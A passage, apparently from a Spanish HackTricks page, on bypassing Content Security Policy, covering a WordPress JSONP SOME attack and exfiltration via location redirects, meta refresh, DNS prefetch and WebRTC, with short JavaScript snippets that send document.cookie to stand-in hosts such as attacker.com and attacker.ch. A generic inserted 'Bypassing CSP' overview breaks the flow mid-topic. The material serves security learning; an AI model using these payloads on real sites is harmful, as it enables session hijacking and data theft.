Un atacante puede abusar de ese punto final para generar un ataque SOME contra WordPress e incrustarlo dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> ten en cuenta que este script se cargará porque está permitido por 'self'. Además, y debido a que WordPress está instalado, un atacante podría abusar del ataque SOME a través del punto final callback vulnerable que burla el CSP para otorgar más privilegios a un usuario, instalar un nuevo plugin... Para obtener más información sobre cómo realizar este ataque, consulta https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Si hay un CSP estricto que no te permite interactuar con servidores externos, hay algunas cosas que siempre puedes hacer para exfiltrar la información.

Location

Simplemente podrías actualizar la ubicación para enviar al servidor del atacante la información secreta:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Etiqueta meta

Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, no filtrará contenido)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Para cargar páginas más rápido, los navegadores van a pre-resolver los nombres de host en direcciones IP y almacenarlos en caché para un uso posterior. Puedes indicar a un navegador que pre-resuelva un nombre de host con: <link rel="dns-prefetch" href="something.com">

Podrías abusar de este comportamiento para exfiltrar información sensible a través de solicitudes DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Bypassing Content Security Policy (CSP)

Introducción

En este artículo, exploraremos algunas técnicas comunes utilizadas para eludir una Política de Seguridad de Contenido (CSP) en una aplicación web.

¿Qué es una Política de Seguridad de Contenido (CSP)?

Una Política de Seguridad de Contenido (CSP) es una capa adicional de seguridad que ayuda a detectar y mitigar ciertos tipos de ataques, como la inyección de scripts maliciosos. Se implementa a través de encabezados HTTP que especifican qué fuentes de contenido son consideradas seguras para cargar en una página web.

Bypassing CSP mediante la inyección de scripts

Una forma común de eludir una CSP es mediante la inyección de scripts directamente en el HTML de la página. Esto puede lograrse aprovechando vulnerabilidades de XSS o encontrando formas de cargar scripts externos que no están bloqueados por la CSP.

Bypassing CSP mediante la carga de scripts externos

Otra técnica común es cargar scripts externos desde fuentes que no están bloqueadas por la CSP. Esto puede incluir cargar scripts desde un subdominio permitido o desde un servicio de alojamiento de scripts externo.

Conclusión

Las Políticas de Seguridad de Contenido (CSP) son una medida importante para proteger las aplicaciones web contra ataques de inyección de scripts y otros tipos de ataques. Sin embargo, es crucial comprender las posibles formas de eludir una CSP para garantizar una protección efectiva.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP:

X-DNS-Prefetch-Control: off

Aparentemente, esta técnica no funciona en navegadores sin interfaz (bots)

WebRTC

En varias páginas se puede leer que WebRTC no verifica la política connect-src del CSP.

De hecho, puedes filtrar información utilizando una solicitud DNS. Echa un vistazo a este código:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Otra opción:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Verificación de Políticas de CSP en línea

Creación Automática de CSP

https://csper.io/docs/generating-content-security-policy

Referencias

​

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking Involúcrate con contenido que explora la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

AnteriorCommand InjectionSiguienteCSP bypass: self + 'unsafe-inline' with Iframes

Última actualización